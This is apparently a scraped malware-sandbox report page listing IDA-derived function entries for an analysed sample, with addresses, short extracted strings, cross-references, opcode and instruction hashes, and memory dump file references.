Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: !$4$6543$_kqg$dkqg$8$9:;$CE$QS
API String ID: 0-2551397411
Opcode ID: b18aa6548279abe3f86252284e45d3b0f8a4f3726054418ad02f99e90ea0712f
Instruction ID: c4fd97d09ac24797793029c8e7ce9d3390cf96154157ef6a2b538d9a6f153c5c
Opcode Fuzzy Hash: b18aa6548279abe3f86252284e45d3b0f8a4f3726054418ad02f99e90ea0712f
Instruction Fuzzy Hash: 048201719083918BC724CF28C8917ABBBE1FFD5314F08896EE9C58B391E7389945CB56

Function 004BFA60 Relevance: 11.7, Strings: 9, Instructions: 430COMMON

Download Yara Rule

Strings

L9C;, xrefs: 004BFB0D
|{, xrefs: 004BFC2D
F5O7, xrefs: 004BFB05
LM, xrefs: 004BFDE8
AC, xrefs: 004BFDD0
rYZ[, xrefs: 004BFEE6
|x, xrefs: 004BFC25
M1F3, xrefs: 004BFAFD
J=I?, xrefs: 004BFB15

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: F5O7$J=I?$L9C;$LM$M1F3$rYZ[$|x$|{$AC
API String ID: 0-3565525361
Opcode ID: b92c0270a507058caeee997ba420531e66c92cfba149c1c8e02eb5d99c09f884
Instruction ID: 36d0a505d3f80fefe718afafcd12a29eabf23a267cdf4703c378e5bc4ac149df
Opcode Fuzzy Hash: b92c0270a507058caeee997ba420531e66c92cfba149c1c8e02eb5d99c09f884
Instruction Fuzzy Hash: 52C1F1705183008BC724CF28C8926ABB7F1FF96354F14892DE4CA8B3A1E7799945CB96

Function 004AB455 Relevance: 11.6, Strings: 9, Instructions: 375COMMON

Download Yara Rule

Strings

w'x), xrefs: 004AB298
G(I, xrefs: 004AB34C
KM, xrefs: 004AB356
CE, xrefs: 004AB342
7c7e, xrefs: 004AB301
D+|-, xrefs: 004AB29F
>_A, xrefs: 004AB338
9k:m, xrefs: 004AB30F
^?n!, xrefs: 004AB28A

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: KM$7c7e$9k:m$>_A$D+|-$^?n!$w'x)$CE$G(I
API String ID: 0-2941930554
Opcode ID: 18ddf1bb25ba7d78871f179a6852c8f085d2358b0f2601d814e61a17ab0b3bd2
Instruction ID: 51028519bbb8dc52bd9c914db77f0a9c690dbcf82c95057fa2598df8dbf469d7
Opcode Fuzzy Hash: 18ddf1bb25ba7d78871f179a6852c8f085d2358b0f2601d814e61a17ab0b3bd2
Instruction Fuzzy Hash: 0CE188B5200B42EFC328CF29D881B46BBB1FF99314F15862DE46A8BB51D774A461CF94

Function 004C4F90 Relevance: 10.4, Strings: 8, Instructions: 392COMMON

Download Yara Rule

Strings

yBvM, xrefs: 004C5BE0
zJq|, xrefs: 004C5BCD
QIE, xrefs: 004C5BBD
MPFu, xrefs: 004C5C3B, 004C5C3F
_P, xrefs: 004C5838
_\L, xrefs: 004C5C59
WH, xrefs: 004C5930
uBv@, xrefs: 004C5BB5

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: QIE$MPFu$WH$_P$_\L$uBv@$yBvM$zJq|
API String ID: 0-2919105276
Opcode ID: 239767941495ae4e26b6ae3c3b94aebde4522c1e465a70fe1a1b1a3c621b6621
Instruction ID: 2357a76fe86e241ef70c767233266cae74ef685bc0a0bf34b66493d9ca448d39
Opcode Fuzzy Hash: 239767941495ae4e26b6ae3c3b94aebde4522c1e465a70fe1a1b1a3c621b6621
Instruction Fuzzy Hash: 75E1FDB4508380CFE3249F24D851B6FBBE0FF85304F14496DE5C99B292DB789905CB8A

Function 004AA8D0 Relevance: 9.1, Strings: 7, Instructions: 391COMMON

Download Yara Rule

Strings

jnnl, xrefs: 004AA8E2
+?#%, xrefs: 004AAC25
6#$,, xrefs: 004AAD5C, 004AAD1E, 004AAB44, 004AAB00, 004AAD27
'>?0, xrefs: 004AAA37
QF, xrefs: 004AA99F
cd, xrefs: 004AAA66
6#$,, xrefs: 004AAB80

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: '>?0$+?#%$6#$,$6#$,$QF$cd$jnnl
API String ID: 0-3678432471
Opcode ID: 5aaa45a234a9f8e00cbda3285205e71484a1bb811b93c51ea16631a65a09efb7
Instruction ID: 3ab9b2459e95a1bdb0258f1111ee7211f9a7889c7f1bb357b1a5d53a6248c69f
Opcode Fuzzy Hash: 5aaa45a234a9f8e00cbda3285205e71484a1bb811b93c51ea16631a65a09efb7
Instruction Fuzzy Hash: DFC1DF7261C3504BD329CF29849126BBBE3AFD6304F18892DE4D58B741D779C91ACB8B

Function 004B9500 Relevance: 7.4, Strings: 5, Instructions: 1156COMMON

Download Yara Rule

Strings

45, xrefs: 004B985C
6543, xrefs: 004B99C5
6543, xrefs: 004BA174
/ , xrefs: 004B993D
6543, xrefs: 004B9535

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: / $45$6543$6543$6543
API String ID: 2994545307-4195529751
Opcode ID: f436e79a3da87afa5e56a06980a35214550dee4508fcfc8dd175200338108603
Instruction ID: 7c08ecd624dcb0f2c8fe3bc2327ced28c8593a56ac446456d7ece812d36ddd0d
Opcode Fuzzy Hash: f436e79a3da87afa5e56a06980a35214550dee4508fcfc8dd175200338108603
Instruction Fuzzy Hash: 5582193460C3405BD750CF24D880BABBBE2EBD6714F18896EE68597352D639DC42CB6A

Function 004BD6B0 Relevance: 7.1, Strings: 5, Instructions: 891COMMON

Download Yara Rule

Strings

WTW], xrefs: 004BDA40
kr, xrefs: 004BDABD
|xhc, xrefs: 004BD9D8
fpb`, xrefs: 004BD9C8
~ezd, xrefs: 004BD9E0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: WTW]$fpb`$kr$|xhc$~ezd
API String ID: 0-2663651261
Opcode ID: 11338551591a984df43c201bef1fff414cd3426cd5cb6d6bc8d0d25b232f3a00
Instruction ID: 4883fe577725340b080678ac1fc018e08755472ad032d0e36ab9503d477a09b4
Opcode Fuzzy Hash: 11338551591a984df43c201bef1fff414cd3426cd5cb6d6bc8d0d25b232f3a00
Instruction Fuzzy Hash: 1E524B7190C3918FC721CF29C8507AFBBE1AF95314F08466EE4E55B382E7399905CBA6

Function 005F905C Relevance: 6.9, Strings: 5, Instructions: 623COMMON

Download Yara Rule

Strings

unknown compression method, xrefs: 005F9261, 005F9323
invalid window size, xrefs: 005F9295
unknown header flags set, xrefs: 005F933E
header crc mismatch, xrefs: 005F9751
incorrect header check, xrefs: 005F9240

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3633268661
Opcode ID: 54e81e503eeb25f19fc90b90a5ca223338667f91e7c7cef9636dab229772a256
Instruction ID: 1128b2e615157a248ba4a069da48fe32f6a64f0f23b4b7677e24304e96bcd805
Opcode Fuzzy Hash: 54e81e503eeb25f19fc90b90a5ca223338667f91e7c7cef9636dab229772a256
Instruction Fuzzy Hash: 0A425C70508749CFDB19DF18C48876ABFE2BF94304F148A9DE9958B396C778D885CB82

Function 004A9180 Relevance: 6.7, Strings: 5, Instructions: 415COMMON

Download Yara Rule

Strings

u|to, xrefs: 004A91C0
ZbDG, xrefs: 004A950C
3I9, xrefs: 004A9231
2I9, xrefs: 004A91E7
"), xrefs: 004A91E0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 3I9$")$ZbDG$u|to$2I9
API String ID: 0-1264576977
Opcode ID: 979b510518bcd3c0a4b87e8d0980ce11bd662e2ff7ad603c3e6fb797cef04b01
Instruction ID: 3ca4e7c6f797ff78bd94edfb929c10c810345d527a861b41a118484dfa213a13
Opcode Fuzzy Hash: 979b510518bcd3c0a4b87e8d0980ce11bd662e2ff7ad603c3e6fb797cef04b01
Instruction Fuzzy Hash: E8B1157124C3D19BC312CF7984907ABBFE0AFE7200F48496DE4D58B382D639890AC756

Function 005EEE4C Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

J, xrefs: 005EEFDC
J, xrefs: 005EEE6A
F, xrefs: 005EEFE5
X, xrefs: 005EEFEF
X, xrefs: 005EEFF9

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: F$J$J$X$X
API String ID: 0-2166313073
Opcode ID: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction ID: 60da7d0131da76f7eb35ca2ab8d3049a1cd474abf6c32b311987060b5956691c
Opcode Fuzzy Hash: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction Fuzzy Hash: 62713B706042808FD718CF2AC4987A6BFE1AF9A304F19C0E9D4D98F367D676D945CBA1

Function 004B6F27 Relevance: 5.6, Strings: 4, Instructions: 581COMMON

Download Yara Rule

Strings

6543, xrefs: 004B6F44
6543, xrefs: 004B7235
6543, xrefs: 004B7135
6543, xrefs: 004B7425

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543$6543$6543$6543
API String ID: 2994545307-1431467483
Opcode ID: db61f536f72dfe4426262b1da90fc1df9a0e9cdc78e598d68e39284bb7a748d9
Instruction ID: 8782ead18008cea206f2f715e67f2a3bb1ad7ae0b4542fada79c222e78ef69e5
Opcode Fuzzy Hash: db61f536f72dfe4426262b1da90fc1df9a0e9cdc78e598d68e39284bb7a748d9
Instruction Fuzzy Hash: 4BF11A7460C3409FE7258F24D8D1ABB77E2EBD6314F18596EE1855B362D738DC028B2A

Function 004C4320 Relevance: 5.4, Strings: 4, Instructions: 415COMMON

Download Yara Rule

Strings

41, xrefs: 004C43BF
6543, xrefs: 004C4844
*3, xrefs: 004C43B7
6543, xrefs: 004C4635

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: *3$41$6543$6543
API String ID: 0-1519956762
Opcode ID: cd6bc807c9e3394f6ffcef4b6f2792dc36ec50fb9b6d77941811263060fbd3d8
Instruction ID: 880aa1b2e9a961180fb0d94e5e564ff945cebba5569afddc259965a3cc2ee86e
Opcode Fuzzy Hash: cd6bc807c9e3394f6ffcef4b6f2792dc36ec50fb9b6d77941811263060fbd3d8
Instruction Fuzzy Hash: C7D121B9608380DFE724CF24E981B6BB7A5FBD5304F44892DE2854B362D7B8D805CB56

Function 004B8CC2 Relevance: 5.4, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

q, xrefs: 004B8F4C
@, xrefs: 004B92AA
pr, xrefs: 004B8DE9
d}, xrefs: 004B8F41

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: q$d}$@$pr
API String ID: 0-1607814246
Opcode ID: d60b1c06efd9dafb3e2656a75257bcc33286e18fa2ee938ef5f3a13cd66077f9
Instruction ID: ec49850d78a13b7a8e9ea197eaba9c7e7556177096aa6232f91f48756880c80c
Opcode Fuzzy Hash: d60b1c06efd9dafb3e2656a75257bcc33286e18fa2ee938ef5f3a13cd66077f9
Instruction Fuzzy Hash: 00C188B19083818BD3348F25C8913EBB7E1FBC5304F14896DDAC98B341EB795946CB96

Function 004C4000 Relevance: 5.3, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

-7, xrefs: 004C42DF, 004C42EE
WH, xrefs: 004C429B
Np, xrefs: 004C41EE
s, xrefs: 004C41F6

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: -7$Np$WH$s
API String ID: 0-2295699928
Opcode ID: 7d11c27b659180b82347dc4845c2d03ce82d92322e7f0b1ed85665d57aa3021c
Instruction ID: d356b932e905f17072fa46289bdefb2c7291c8c2b3c3dd27f0196774e25067fd
Opcode Fuzzy Hash: 7d11c27b659180b82347dc4845c2d03ce82d92322e7f0b1ed85665d57aa3021c
Instruction Fuzzy Hash: D07144B0A093418BC718DF14C861B6BBBF1EFD2314F18892DE4C69B394EB788945C74A

Function 004D55F0 Relevance: 4.3, Strings: 3, Instructions: 510COMMON

Download Yara Rule

Strings

6543, xrefs: 004D566B
6543, xrefs: 004D57BC, 004D5B0C
6543, xrefs: 004D5819

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543$6543$6543
API String ID: 0-4051116053
Opcode ID: e39d104edcada9f49abebd50c1bbdc0bac651961e6139e26a9e4fb4c1a7babb4
Instruction ID: f0f5059602bd4ad5d4dba62469676fe19b653136d0d2bda5fc4abb724dbc2f8a
Opcode Fuzzy Hash: e39d104edcada9f49abebd50c1bbdc0bac651961e6139e26a9e4fb4c1a7babb4
Instruction Fuzzy Hash: 0AD165327087118BD7248E25CCE16ABB7D2EBC1324F98857FE58497392D738AC068B56

Function 004BC220 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

K,h., xrefs: 004BC2B6
Xstu, xrefs: 004BC5A0
S, xrefs: 004BC492

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: K,h.$S$Xstu
API String ID: 0-2236200539
Opcode ID: 367769458d47854ab171e294f4745d59aeb42d8bb88f0e63ebf0c4cdc29cd744
Instruction ID: dc09a96088e162fa6bb8b5b96f2322c17d74dc05e9bdc6d4f9dcd720a26e26cd
Opcode Fuzzy Hash: 367769458d47854ab171e294f4745d59aeb42d8bb88f0e63ebf0c4cdc29cd744
Instruction Fuzzy Hash: 40A1CD749083118BC724CF25C8D16ABB7F1EF85354F589A1DE8868B391E738E905C7AA

Function 004BBE77 Relevance: 4.1, Strings: 3, Instructions: 335COMMON

Download Yara Rule

Strings

+-, xrefs: 004BC080
EJ, xrefs: 004BBED1
OA, xrefs: 004BBECA

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: EJ$OA$+-
API String ID: 0-4276510168
Opcode ID: d05eba0f72a8d42a337f326dc58f84bb2c9acbca235dcbcce517d22509213ecc
Instruction ID: 771466507604d898be3dc6fb09158ef0d61fa3f9d063ed21aed456c832fd272b
Opcode Fuzzy Hash: d05eba0f72a8d42a337f326dc58f84bb2c9acbca235dcbcce517d22509213ecc
Instruction Fuzzy Hash: 65914976E00215CBDF248F64D8926FFB7B1EF55318F18412AE885A7391E73C9902C7A9

Function 004B75F2 Relevance: 4.0, Strings: 3, Instructions: 272COMMON

Download Yara Rule

Strings

6543, xrefs: 004B7555
h, xrefs: 004B76B6
6543, xrefs: 004B7425

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543$6543$h
API String ID: 0-921194165
Opcode ID: dbb3167389e19d414cfe9a44f9b0be9d567cfd46efd2df6b6ed69de718feedef
Instruction ID: d601e27c166a2cbe142f4dfba263b9467b1b7f1ca34c2aff11a8484e8f14870e
Opcode Fuzzy Hash: dbb3167389e19d414cfe9a44f9b0be9d567cfd46efd2df6b6ed69de718feedef
Instruction Fuzzy Hash: 15712A3410C3808FD7658F34D4D06ABBBE1BFD6314F5859AEE4C55B262D7389806CB2A

Function 004C2780 Relevance: 4.0, Strings: 3, Instructions: 239COMMON

Download Yara Rule

Strings

)L, xrefs: 004C29D2
X>~0, xrefs: 004C27A1
yz, xrefs: 004C2810

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
